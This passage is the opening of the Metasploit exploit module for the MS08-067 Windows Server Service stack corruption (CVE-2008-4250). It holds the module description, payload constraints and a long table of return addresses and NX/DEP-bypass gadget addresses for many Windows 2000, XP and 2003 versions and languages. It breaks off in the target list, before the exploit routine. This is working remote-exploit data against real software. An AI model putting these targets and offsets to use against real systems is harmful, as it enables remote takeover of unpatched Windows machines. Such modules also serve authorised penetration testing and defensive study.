root / modules / exploits / windows / smb / ms08_067_netapi.rb @ master
History | View | Annotate | Download (31.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = GreatRanking |
| 18 |
|
| 19 |
|
| 20 |
include Msf::Exploit::Remote::DCERPC |
| 21 |
include Msf::Exploit::Remote::SMB |
| 22 |
|
| 23 |
|
| 24 |
def initialize(info = {}) |
| 25 |
super(update_info(info,
|
| 26 |
'Name' => 'Microsoft Server Service Relative Path Stack Corruption', |
| 27 |
'Description' => %q{ |
| 28 |
This module exploits a parsing flaw in the path canonicalization code of |
| 29 |
NetAPI32.dll through the Server Service. This module is capable of bypassing |
| 30 |
NX on some operating systems and service packs. The correct target must be |
| 31 |
used to prevent the Server Service (along with a dozen others in the same |
| 32 |
process) from crashing. Windows XP targets seem to handle multiple successful |
| 33 |
exploitation events, but 2003 targets will often crash or hang on subsequent |
| 34 |
attempts. This is just the first version of this module, full support for |
| 35 |
NX bypass on 2003, along with other platforms, is still in development. |
| 36 |
},
|
| 37 |
'Author' =>
|
| 38 |
[ |
| 39 |
'hdm', # with tons of input/help/testing from the community |
| 40 |
'Brett Moore <brett.moore[at]insomniasec.com>',
|
| 41 |
'staylor', # check() detection |
| 42 |
'jduck', # XP SP2/SP3 AlwaysOn DEP bypass |
| 43 |
], |
| 44 |
'License' => MSF_LICENSE, |
| 45 |
'Version' => '$Revision$', |
| 46 |
'References' =>
|
| 47 |
[ |
| 48 |
[ 'CVE', '2008-4250'], |
| 49 |
[ 'OSVDB', '49243'], |
| 50 |
[ 'MSB', 'MS08-067' ], |
| 51 |
# If this vulnerability is found, ms08-67 is exposed as well
|
| 52 |
[ 'URL', 'http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos'] |
| 53 |
], |
| 54 |
'DefaultOptions' =>
|
| 55 |
{
|
| 56 |
'EXITFUNC' => 'thread', |
| 57 |
}, |
| 58 |
'Privileged' => true, |
| 59 |
'Payload' =>
|
| 60 |
{
|
| 61 |
'Space' => 400, |
| 62 |
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40", |
| 63 |
'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment |
| 64 |
'StackAdjustment' => -3500, |
| 65 |
|
| 66 |
}, |
| 67 |
'Platform' => 'win', |
| 68 |
'DefaultTarget' => 0, |
| 69 |
'Targets' =>
|
| 70 |
[ |
| 71 |
#
|
| 72 |
# Automatic targetting via fingerprinting
|
| 73 |
#
|
| 74 |
[ 'Automatic Targeting', { 'auto' => true } ], |
| 75 |
|
| 76 |
|
| 77 |
#
|
| 78 |
# UNIVERSAL TARGETS
|
| 79 |
#
|
| 80 |
|
| 81 |
#
|
| 82 |
# Antoine's universal for Windows 2000
|
| 83 |
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
|
| 84 |
#
|
| 85 |
[ 'Windows 2000 Universal',
|
| 86 |
{
|
| 87 |
'Ret' => 0x001f1cb0, |
| 88 |
'Scratch' => 0x00020408, |
| 89 |
} |
| 90 |
], # JMP EDI SVCHOST.EXE
|
| 91 |
|
| 92 |
#
|
| 93 |
# Standard return-to-ESI without NX bypass
|
| 94 |
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
|
| 95 |
#
|
| 96 |
[ 'Windows XP SP0/SP1 Universal',
|
| 97 |
{
|
| 98 |
'Ret' => 0x01001361, |
| 99 |
'Scratch' => 0x00020408, |
| 100 |
} |
| 101 |
], # JMP ESI SVCHOST.EXE
|
| 102 |
|
| 103 |
#
|
| 104 |
# ENGLISH TARGETS
|
| 105 |
#
|
| 106 |
|
| 107 |
# jduck's AlwaysOn NX Bypass for XP SP2
|
| 108 |
[ 'Windows XP SP2 English (AlwaysOn NX)',
|
| 109 |
{
|
| 110 |
# No pivot is needed, we drop into our rop
|
| 111 |
'Scratch' => 0x00020408, |
| 112 |
'UseROP' => '5.1.2600.2180' |
| 113 |
} |
| 114 |
], |
| 115 |
|
| 116 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 117 |
[ 'Windows XP SP2 English (NX)',
|
| 118 |
{
|
| 119 |
'Ret' => 0x6f88f727, |
| 120 |
'DisableNX' => 0x6f8916e2, |
| 121 |
'Scratch' => 0x00020408 |
| 122 |
} |
| 123 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 124 |
|
| 125 |
|
| 126 |
# jduck's AlwaysOn NX Bypass for XP SP3
|
| 127 |
[ 'Windows XP SP3 English (AlwaysOn NX)',
|
| 128 |
{
|
| 129 |
# No pivot is needed, we drop into our rop
|
| 130 |
'Scratch' => 0x00020408, |
| 131 |
'UseROP' => '5.1.2600.5512' |
| 132 |
} |
| 133 |
], |
| 134 |
|
| 135 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 136 |
[ 'Windows XP SP3 English (NX)',
|
| 137 |
{
|
| 138 |
'Ret' => 0x6f88f807, |
| 139 |
'DisableNX' => 0x6f8917c2, |
| 140 |
'Scratch' => 0x00020408 |
| 141 |
} |
| 142 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 143 |
|
| 144 |
# Standard return-to-ESI without NX bypass
|
| 145 |
[ 'Windows 2003 SP0 Universal',
|
| 146 |
{
|
| 147 |
'Ret' => 0x0100129e, |
| 148 |
'Scratch' => 0x00020408, |
| 149 |
} |
| 150 |
], # JMP ESI SVCHOST.EXE
|
| 151 |
|
| 152 |
|
| 153 |
# Standard return-to-ESI without NX bypass
|
| 154 |
[ 'Windows 2003 SP1 English (NO NX)',
|
| 155 |
{
|
| 156 |
'Ret' => 0x71bf21a2, |
| 157 |
'Scratch' => 0x00020408, |
| 158 |
} |
| 159 |
], # JMP ESI WS2HELP.DLL
|
| 160 |
|
| 161 |
# Brett Moore's crafty NX bypass for 2003 SP1
|
| 162 |
[ 'Windows 2003 SP1 English (NX)',
|
| 163 |
{
|
| 164 |
'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL |
| 165 |
'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL |
| 166 |
'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL |
| 167 |
'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL |
| 168 |
'Scratch' => 0x00020408, |
| 169 |
} |
| 170 |
], |
| 171 |
|
| 172 |
|
| 173 |
# Standard return-to-ESI without NX bypass
|
| 174 |
[ 'Windows 2003 SP1 Japanese (NO NX)',
|
| 175 |
{
|
| 176 |
'Ret' => 0x71a921a2, |
| 177 |
'Scratch' => 0x00020408, |
| 178 |
} |
| 179 |
], # JMP ESI WS2HELP.DLL
|
| 180 |
|
| 181 |
|
| 182 |
# Standard return-to-ESI without NX bypass
|
| 183 |
[ 'Windows 2003 SP2 English (NO NX)',
|
| 184 |
{
|
| 185 |
'Ret' => 0x71bf3969, |
| 186 |
'Scratch' => 0x00020408, |
| 187 |
} |
| 188 |
], # JMP ESI WS2HELP.DLL
|
| 189 |
|
| 190 |
# Brett Moore's crafty NX bypass for 2003 SP2
|
| 191 |
[ 'Windows 2003 SP2 English (NX)',
|
| 192 |
{
|
| 193 |
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL |
| 194 |
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL |
| 195 |
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL |
| 196 |
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL |
| 197 |
'Scratch' => 0x00020408, |
| 198 |
} |
| 199 |
], |
| 200 |
|
| 201 |
|
| 202 |
# Standard return-to-ESI without NX bypass
|
| 203 |
[ 'Windows 2003 SP2 German (NO NX)',
|
| 204 |
{
|
| 205 |
'Ret' => 0x71a03969, |
| 206 |
'Scratch' => 0x00020408, |
| 207 |
} |
| 208 |
], # JMP ESI WS2HELP.DLL
|
| 209 |
|
| 210 |
# Brett Moore's crafty NX bypass for 2003 SP2
|
| 211 |
[ 'Windows 2003 SP2 German (NX)',
|
| 212 |
{
|
| 213 |
'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL |
| 214 |
'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL |
| 215 |
'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL |
| 216 |
'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL |
| 217 |
'Scratch' => 0x00020408, |
| 218 |
} |
| 219 |
], |
| 220 |
|
| 221 |
|
| 222 |
#
|
| 223 |
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
|
| 224 |
#
|
| 225 |
|
| 226 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 227 |
[ 'Windows XP SP2 Arabic (NX)',
|
| 228 |
{
|
| 229 |
'Ret' => 0x6fd8f727, |
| 230 |
'DisableNX' => 0x6fd916e2, |
| 231 |
'Scratch' => 0x00020408 |
| 232 |
} |
| 233 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 234 |
|
| 235 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 236 |
[ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
|
| 237 |
{
|
| 238 |
'Ret' => 0x5860f727, |
| 239 |
'DisableNX' => 0x586116e2, |
| 240 |
'Scratch' => 0x00020408 |
| 241 |
} |
| 242 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 243 |
|
| 244 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 245 |
[ 'Windows XP SP2 Chinese - Simplified (NX)',
|
| 246 |
{
|
| 247 |
'Ret' => 0x58fbf727, |
| 248 |
'DisableNX' => 0x58fc16e2, |
| 249 |
'Scratch' => 0x00020408 |
| 250 |
} |
| 251 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 252 |
|
| 253 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 254 |
[ 'Windows XP SP2 Chinese - Traditional (NX)',
|
| 255 |
{
|
| 256 |
'Ret' => 0x5860f727, |
| 257 |
'DisableNX' => 0x586116e2, |
| 258 |
'Scratch' => 0x00020408 |
| 259 |
} |
| 260 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 261 |
|
| 262 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 263 |
[ 'Windows XP SP2 Czech (NX)',
|
| 264 |
{
|
| 265 |
'Ret' => 0x6fe1f727, |
| 266 |
'DisableNX' => 0x6fe216e2, |
| 267 |
'Scratch' => 0x00020408 |
| 268 |
} |
| 269 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 270 |
|
| 271 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 272 |
[ 'Windows XP SP2 Danish (NX)',
|
| 273 |
{
|
| 274 |
'Ret' => 0x5978f727, |
| 275 |
'DisableNX' => 0x597916e2, |
| 276 |
'Scratch' => 0x00020408 |
| 277 |
} |
| 278 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 279 |
|
| 280 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 281 |
[ 'Windows XP SP2 German (NX)',
|
| 282 |
{
|
| 283 |
'Ret' => 0x6fd9f727, |
| 284 |
'DisableNX' => 0x6fda16e2, |
| 285 |
'Scratch' => 0x00020408 |
| 286 |
} |
| 287 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 288 |
|
| 289 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 290 |
[ 'Windows XP SP2 Greek (NX)',
|
| 291 |
{
|
| 292 |
'Ret' => 0x592af727, |
| 293 |
'DisableNX' => 0x592b16e2, |
| 294 |
'Scratch' => 0x00020408 |
| 295 |
} |
| 296 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 297 |
|
| 298 |
|
| 299 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 300 |
[ 'Windows XP SP2 Spanish (NX)',
|
| 301 |
{
|
| 302 |
'Ret' => 0x6fdbf727, |
| 303 |
'DisableNX' => 0x6fdc16e2, |
| 304 |
'Scratch' => 0x00020408 |
| 305 |
} |
| 306 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 307 |
|
| 308 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 309 |
[ 'Windows XP SP2 Finnish (NX)',
|
| 310 |
{
|
| 311 |
'Ret' => 0x597df727, |
| 312 |
'DisableNX' => 0x597e16e2, |
| 313 |
'Scratch' => 0x00020408 |
| 314 |
} |
| 315 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 316 |
|
| 317 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 318 |
[ 'Windows XP SP2 French (NX)',
|
| 319 |
{
|
| 320 |
'Ret' => 0x595bf727, |
| 321 |
'DisableNX' => 0x595c16e2, |
| 322 |
'Scratch' => 0x00020408 |
| 323 |
} |
| 324 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 325 |
|
| 326 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 327 |
[ 'Windows XP SP2 Hebrew (NX)',
|
| 328 |
{
|
| 329 |
'Ret' => 0x5940f727, |
| 330 |
'DisableNX' => 0x594116e2, |
| 331 |
'Scratch' => 0x00020408 |
| 332 |
} |
| 333 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 334 |
|
| 335 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 336 |
[ 'Windows XP SP2 Hungarian (NX)',
|
| 337 |
{
|
| 338 |
'Ret' => 0x5970f727, |
| 339 |
'DisableNX' => 0x597116e2, |
| 340 |
'Scratch' => 0x00020408 |
| 341 |
} |
| 342 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 343 |
|
| 344 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 345 |
[ 'Windows XP SP2 Italian (NX)',
|
| 346 |
{
|
| 347 |
'Ret' => 0x596bf727, |
| 348 |
'DisableNX' => 0x596c16e2, |
| 349 |
'Scratch' => 0x00020408 |
| 350 |
} |
| 351 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 352 |
|
| 353 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 354 |
[ 'Windows XP SP2 Japanese (NX)',
|
| 355 |
{
|
| 356 |
'Ret' => 0x567fd3be, |
| 357 |
'DisableNX' => 0x568016e2, |
| 358 |
'Scratch' => 0x00020408 |
| 359 |
} |
| 360 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 361 |
|
| 362 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 363 |
[ 'Windows XP SP2 Korean (NX)',
|
| 364 |
{
|
| 365 |
'Ret' => 0x6fd6f727, |
| 366 |
'DisableNX' => 0x6fd716e2, |
| 367 |
'Scratch' => 0x00020408 |
| 368 |
} |
| 369 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 370 |
|
| 371 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 372 |
[ 'Windows XP SP2 Dutch (NX)',
|
| 373 |
{
|
| 374 |
'Ret' => 0x596cf727, |
| 375 |
'DisableNX' => 0x596d16e2, |
| 376 |
'Scratch' => 0x00020408 |
| 377 |
} |
| 378 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 379 |
|
| 380 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 381 |
[ 'Windows XP SP2 Norwegian (NX)',
|
| 382 |
{
|
| 383 |
'Ret' => 0x597cf727, |
| 384 |
'DisableNX' => 0x597d16e2, |
| 385 |
'Scratch' => 0x00020408 |
| 386 |
} |
| 387 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 388 |
|
| 389 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 390 |
[ 'Windows XP SP2 Polish (NX)',
|
| 391 |
{
|
| 392 |
'Ret' => 0x5941f727, |
| 393 |
'DisableNX' => 0x594216e2, |
| 394 |
'Scratch' => 0x00020408 |
| 395 |
} |
| 396 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 397 |
|
| 398 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 399 |
[ 'Windows XP SP2 Portuguese - Brazilian (NX)',
|
| 400 |
{
|
| 401 |
'Ret' => 0x596ff727, |
| 402 |
'DisableNX' => 0x597016e2, |
| 403 |
'Scratch' => 0x00020408 |
| 404 |
} |
| 405 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 406 |
|
| 407 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 408 |
[ 'Windows XP SP2 Portuguese (NX)',
|
| 409 |
{
|
| 410 |
'Ret' => 0x596bf727, |
| 411 |
'DisableNX' => 0x596c16e2, |
| 412 |
'Scratch' => 0x00020408 |
| 413 |
} |
| 414 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 415 |
|
| 416 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 417 |
[ 'Windows XP SP2 Russian (NX)',
|
| 418 |
{
|
| 419 |
'Ret' => 0x6fe1f727, |
| 420 |
'DisableNX' => 0x6fe216e2, |
| 421 |
'Scratch' => 0x00020408 |
| 422 |
} |
| 423 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 424 |
|
| 425 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 426 |
[ 'Windows XP SP2 Swedish (NX)',
|
| 427 |
{
|
| 428 |
'Ret' => 0x597af727, |
| 429 |
'DisableNX' => 0x597b16e2, |
| 430 |
'Scratch' => 0x00020408 |
| 431 |
} |
| 432 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 433 |
|
| 434 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 435 |
[ 'Windows XP SP2 Turkish (NX)',
|
| 436 |
{
|
| 437 |
'Ret' => 0x5a78f727, |
| 438 |
'DisableNX' => 0x5a7916e2, |
| 439 |
'Scratch' => 0x00020408 |
| 440 |
} |
| 441 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 442 |
|
| 443 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 444 |
[ 'Windows XP SP3 Arabic (NX)',
|
| 445 |
{
|
| 446 |
'Ret' => 0x6fd8f807, |
| 447 |
'DisableNX' => 0x6fd917c2, |
| 448 |
'Scratch' => 0x00020408 |
| 449 |
} |
| 450 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 451 |
|
| 452 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 453 |
[ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
|
| 454 |
{
|
| 455 |
'Ret' => 0x5860f807, |
| 456 |
'DisableNX' => 0x586117c2, |
| 457 |
'Scratch' => 0x00020408 |
| 458 |
} |
| 459 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 460 |
|
| 461 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 462 |
[ 'Windows XP SP3 Chinese - Simplified (NX)',
|
| 463 |
{
|
| 464 |
'Ret' => 0x58fbf807, |
| 465 |
'DisableNX' => 0x58fc17c2, |
| 466 |
'Scratch' => 0x00020408 |
| 467 |
} |
| 468 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 469 |
|
| 470 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 471 |
[ 'Windows XP SP3 Chinese - Traditional (NX)',
|
| 472 |
{
|
| 473 |
'Ret' => 0x5860f807, |
| 474 |
'DisableNX' => 0x586117c2, |
| 475 |
'Scratch' => 0x00020408 |
| 476 |
} |
| 477 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 478 |
|
| 479 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 480 |
[ 'Windows XP SP3 Czech (NX)',
|
| 481 |
{
|
| 482 |
'Ret' => 0x6fe1f807, |
| 483 |
'DisableNX' => 0x6fe217c2, |
| 484 |
'Scratch' => 0x00020408 |
| 485 |
} |
| 486 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 487 |
|
| 488 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 489 |
[ 'Windows XP SP3 Danish (NX)',
|
| 490 |
{
|
| 491 |
'Ret' => 0x5978f807, |
| 492 |
'DisableNX' => 0x597917c2, |
| 493 |
'Scratch' => 0x00020408 |
| 494 |
} |
| 495 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 496 |
|
| 497 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 498 |
[ 'Windows XP SP3 German (NX)',
|
| 499 |
{
|
| 500 |
'Ret' => 0x6fd9f807, |
| 501 |
'DisableNX' => 0x6fda17c2, |
| 502 |
'Scratch' => 0x00020408 |
| 503 |
} |
| 504 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 505 |
|
| 506 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 507 |
[ 'Windows XP SP3 Greek (NX)',
|
| 508 |
{
|
| 509 |
'Ret' => 0x592af807, |
| 510 |
'DisableNX' => 0x592b17c2, |
| 511 |
'Scratch' => 0x00020408 |
| 512 |
} |
| 513 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 514 |
|
| 515 |
|
| 516 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 517 |
[ 'Windows XP SP3 Spanish (NX)',
|
| 518 |
{
|
| 519 |
'Ret' => 0x6fdbf807, |
| 520 |
'DisableNX' => 0x6fdc17c2, |
| 521 |
'Scratch' => 0x00020408 |
| 522 |
} |
| 523 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 524 |
|
| 525 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 526 |
[ 'Windows XP SP3 Finnish (NX)',
|
| 527 |
{
|
| 528 |
'Ret' => 0x597df807, |
| 529 |
'DisableNX' => 0x597e17c2, |
| 530 |
'Scratch' => 0x00020408 |
| 531 |
} |
| 532 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 533 |
|
| 534 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 535 |
[ 'Windows XP SP3 French (NX)',
|
| 536 |
{
|
| 537 |
'Ret' => 0x595bf807, |
| 538 |
'DisableNX' => 0x595c17c2, |
| 539 |
'Scratch' => 0x00020408 |
| 540 |
} |
| 541 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 542 |
|
| 543 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 544 |
[ 'Windows XP SP3 Hebrew (NX)',
|
| 545 |
{
|
| 546 |
'Ret' => 0x5940f807, |
| 547 |
'DisableNX' => 0x594117c2, |
| 548 |
'Scratch' => 0x00020408 |
| 549 |
} |
| 550 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 551 |
|
| 552 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 553 |
[ 'Windows XP SP3 Hungarian (NX)',
|
| 554 |
{
|
| 555 |
'Ret' => 0x5970f807, |
| 556 |
'DisableNX' => 0x597117c2, |
| 557 |
'Scratch' => 0x00020408 |
| 558 |
} |
| 559 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 560 |
|
| 561 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 562 |
[ 'Windows XP SP3 Italian (NX)',
|
| 563 |
{
|
| 564 |
'Ret' => 0x596bf807, |
| 565 |
'DisableNX' => 0x596c17c2, |
| 566 |
'Scratch' => 0x00020408 |
| 567 |
} |
| 568 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 569 |
|
| 570 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 571 |
[ 'Windows XP SP3 Japanese (NX)',
|
| 572 |
{
|
| 573 |
'Ret' => 0x567fd4d2, |
| 574 |
'DisableNX' => 0x568017c2, |
| 575 |
'Scratch' => 0x00020408 |
| 576 |
} |
| 577 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 578 |
|
| 579 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 580 |
[ 'Windows XP SP3 Korean (NX)',
|
| 581 |
{
|
| 582 |
'Ret' => 0x6fd6f807, |
| 583 |
'DisableNX' => 0x6fd717c2, |
| 584 |
'Scratch' => 0x00020408 |
| 585 |
} |
| 586 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 587 |
|
| 588 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 589 |
[ 'Windows XP SP3 Dutch (NX)',
|
| 590 |
{
|
| 591 |
'Ret' => 0x596cf807, |
| 592 |
'DisableNX' => 0x596d17c2, |
| 593 |
'Scratch' => 0x00020408 |
| 594 |
} |
| 595 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 596 |
|
| 597 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 598 |
[ 'Windows XP SP3 Norwegian (NX)',
|
| 599 |
{
|
| 600 |
'Ret' => 0x597cf807, |
| 601 |
'DisableNX' => 0x597d17c2, |
| 602 |
'Scratch' => 0x00020408 |
| 603 |
} |
| 604 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 605 |
|
| 606 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 607 |
[ 'Windows XP SP3 Polish (NX)',
|
| 608 |
{
|
| 609 |
'Ret' => 0x5941f807, |
| 610 |
'DisableNX' => 0x594217c2, |
| 611 |
'Scratch' => 0x00020408 |
| 612 |
} |
| 613 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 614 |
|
| 615 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 616 |
[ 'Windows XP SP3 Portuguese - Brazilian (NX)',
|
| 617 |
{
|
| 618 |
'Ret' => 0x596ff807, |
| 619 |
'DisableNX' => 0x597017c2, |
| 620 |
'Scratch' => 0x00020408 |
| 621 |
} |
| 622 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 623 |
|
| 624 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 625 |
[ 'Windows XP SP3 Portuguese (NX)',
|
| 626 |
{
|
| 627 |
'Ret' => 0x596bf807, |
| 628 |
'DisableNX' => 0x596c17c2, |
| 629 |
'Scratch' => 0x00020408 |
| 630 |
} |
| 631 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 632 |
|
| 633 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 634 |
[ 'Windows XP SP3 Russian (NX)',
|
| 635 |
{
|
| 636 |
'Ret' => 0x6fe1f807, |
| 637 |
'DisableNX' => 0x6fe217c2, |
| 638 |
'Scratch' => 0x00020408 |
| 639 |
} |
| 640 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 641 |
|
| 642 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 643 |
[ 'Windows XP SP3 Swedish (NX)',
|
| 644 |
{
|
| 645 |
'Ret' => 0x597af807, |
| 646 |
'DisableNX' => 0x597b17c2, |
| 647 |
'Scratch' => 0x00020408 |
| 648 |
} |
| 649 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 650 |
|
| 651 |
# Metasploit's NX bypass for XP SP2/SP3
|
| 652 |
[ 'Windows XP SP3 Turkish (NX)',
|
| 653 |
{
|
| 654 |
'Ret' => 0x5a78f807, |
| 655 |
'DisableNX' => 0x5a7917c2, |
| 656 |
'Scratch' => 0x00020408 |
| 657 |
} |
| 658 |
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
| 659 |
|
| 660 |
# Standard return-to-ESI without NX bypass
|
| 661 |
# Provided by Masashi Fujiwara
|
| 662 |
[ 'Windows 2003 SP2 Japanese (NO NX)',
|
| 663 |
{
|
| 664 |
'Ret' => 0x71a91ed2, |
| 665 |
'Scratch' => 0x00020408 |
| 666 |
} |
| 667 |
], # JMP ESI WS2HELP.DLL
|
| 668 |
|
| 669 |
|
| 670 |
#
|
| 671 |
# Missing Targets
|
| 672 |
# Key: T=TODO ?=UNKNOWN U=UNRELIABLE
|
| 673 |
#
|
| 674 |
# [?] Windows Vista SP0 - Not tested yet
|
